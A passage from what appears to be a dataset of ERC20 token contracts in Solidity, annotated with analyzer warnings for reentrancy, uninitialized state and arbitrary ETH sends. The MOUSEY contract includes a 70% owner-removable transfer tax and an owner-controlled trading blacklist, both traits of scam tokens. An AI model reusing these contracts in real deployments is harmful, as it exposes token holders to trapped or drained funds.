_allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 17a564d): RTS.bots is never initialized. It is used in RTS._transfer(address,address,uint256)\n\t// Recommendation for 17a564d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f3055b5): RTS._taxWallet should be immutable \n\t// Recommendation for f3055b5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: be2e91f): RTS._initialBuyTax should be constant \n\t// Recommendation for be2e91f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc0920e): RTS._initialSellTax should be constant \n\t// Recommendation for fc0920e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08467c5): RTS._finalBuyTax should be constant \n\t// Recommendation for 08467c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc3bb4f): RTS._finalSellTax should be constant \n\t// Recommendation for dc3bb4f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 741262e): RTS._reduceBuyTaxAt should be constant \n\t// Recommendation for 741262e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 137e5ab): RTS._reduceSellTaxAt should be constant \n\t// Recommendation for 137e5ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54c1a81): RTS._preventSwapBefore should be constant \n\t// Recommendation for 54c1a81: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"RTS6900\";\n\n string private constant _symbol = unicode\"RTS\";\n\n uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);\n\n uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3a426): RTS._taxSwapThreshold should be constant \n\t// Recommendation for 9a3a426: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 9cd51d5\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4dcf45b): RTS._maxTaxSwap should be constant \n\t// Recommendation for 4dcf45b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(20).div(1000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xCfCac45C5A666bE042ad165E39231AcF323Cf3E3);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 35ce59d): RTS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 35ce59d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 622d4c1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 622d4c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6214bf1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6214bf1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 622d4c1\n\t\t// reentrancy-benign | ID: 6214bf1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 622d4c1\n\t\t// reentrancy-benign | ID: 6214bf1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 71fa43a): RTS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 71fa43a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6214bf1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 622d4c1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d17e6d9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d17e6d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 17a564d): RTS.bots is never initialized. It is used in RTS._transfer(address,address,uint256)\n\t// Recommendation for 17a564d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 24cbda3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 24cbda3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d17e6d9\n\t\t\t\t// reentrancy-eth | ID: 24cbda3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d17e6d9\n\t\t\t\t\t// reentrancy-eth | ID: 24cbda3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 24cbda3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 24cbda3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 24cbda3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d17e6d9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 24cbda3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 24cbda3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d17e6d9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d17e6d9\n\t\t// reentrancy-events | ID: 622d4c1\n\t\t// reentrancy-benign | ID: 6214bf1\n\t\t// reentrancy-eth | ID: 24cbda3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoveRTSLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransfertax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d17e6d9\n\t\t// reentrancy-events | ID: 622d4c1\n\t\t// reentrancy-eth | ID: 24cbda3\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0d3515b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0d3515b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 37c7872): RTS.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 37c7872: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c359fad): RTS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c359fad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 00c509c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 00c509c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0d3515b\n\t\t// reentrancy-eth | ID: 00c509c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0d3515b\n\t\t// unused-return | ID: c359fad\n\t\t// reentrancy-eth | ID: 00c509c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0d3515b\n\t\t// unused-return | ID: 37c7872\n\t\t// reentrancy-eth | ID: 00c509c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0d3515b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 00c509c\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsendETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10048.sol",
"size_bytes": 20741,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MOUSEY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 662c5c7): MOUSEY._taxWallet should be immutable \n\t// Recommendation for 662c5c7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 62667bb): MOUSEY._initialBuyTax should be constant \n\t// Recommendation for 62667bb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71c72f5): MOUSEY._initialSellTax should be constant \n\t// Recommendation for 71c72f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 27;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69ad17d): MOUSEY._reduceBuyTaxAt should be constant \n\t// Recommendation for 69ad17d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1f35f0): MOUSEY._reduceSellTaxAt should be constant \n\t// Recommendation for d1f35f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88bb3b4): MOUSEY._preventSwapBefore should be constant \n\t// Recommendation for 88bb3b4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mousey\";\n\n string private constant _symbol = unicode\"MOUSEY\";\n\n uint256 public _maxTxAmount = 8206900000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7964bc): MOUSEY._taxSwapThreshold should be constant \n\t// Recommendation for e7964bc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ff3369): MOUSEY._maxTaxSwap should be constant \n\t// Recommendation for 5ff3369: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11e9964): MOUSEY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11e9964: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: af6fdac): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for af6fdac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 550fb34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 550fb34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: af6fdac\n\t\t// reentrancy-benign | ID: 550fb34\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: af6fdac\n\t\t// reentrancy-benign | ID: 550fb34\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d94523d): MOUSEY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d94523d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 550fb34\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: af6fdac\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b7a37b9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b7a37b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a43da15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a43da15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b7a37b9\n\t\t\t\t// reentrancy-eth | ID: a43da15\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b7a37b9\n\t\t\t\t\t// reentrancy-eth | ID: a43da15\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a43da15\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a43da15\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a43da15\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b7a37b9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a43da15\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a43da15\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b7a37b9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b7a37b9\n\t\t// reentrancy-events | ID: af6fdac\n\t\t// reentrancy-benign | ID: 550fb34\n\t\t// reentrancy-eth | ID: a43da15\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8d7de20): MOUSEY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8d7de20: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b7a37b9\n\t\t// reentrancy-events | ID: af6fdac\n\t\t// reentrancy-eth | ID: a43da15\n\t\t// arbitrary-send-eth | ID: 8d7de20\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aa17058): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aa17058: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9fec9ce): MOUSEY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9fec9ce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 40acc25): MOUSEY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 40acc25: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1c5764e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1c5764e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: aa17058\n\t\t// reentrancy-eth | ID: 1c5764e\n uniswapV2Pair = 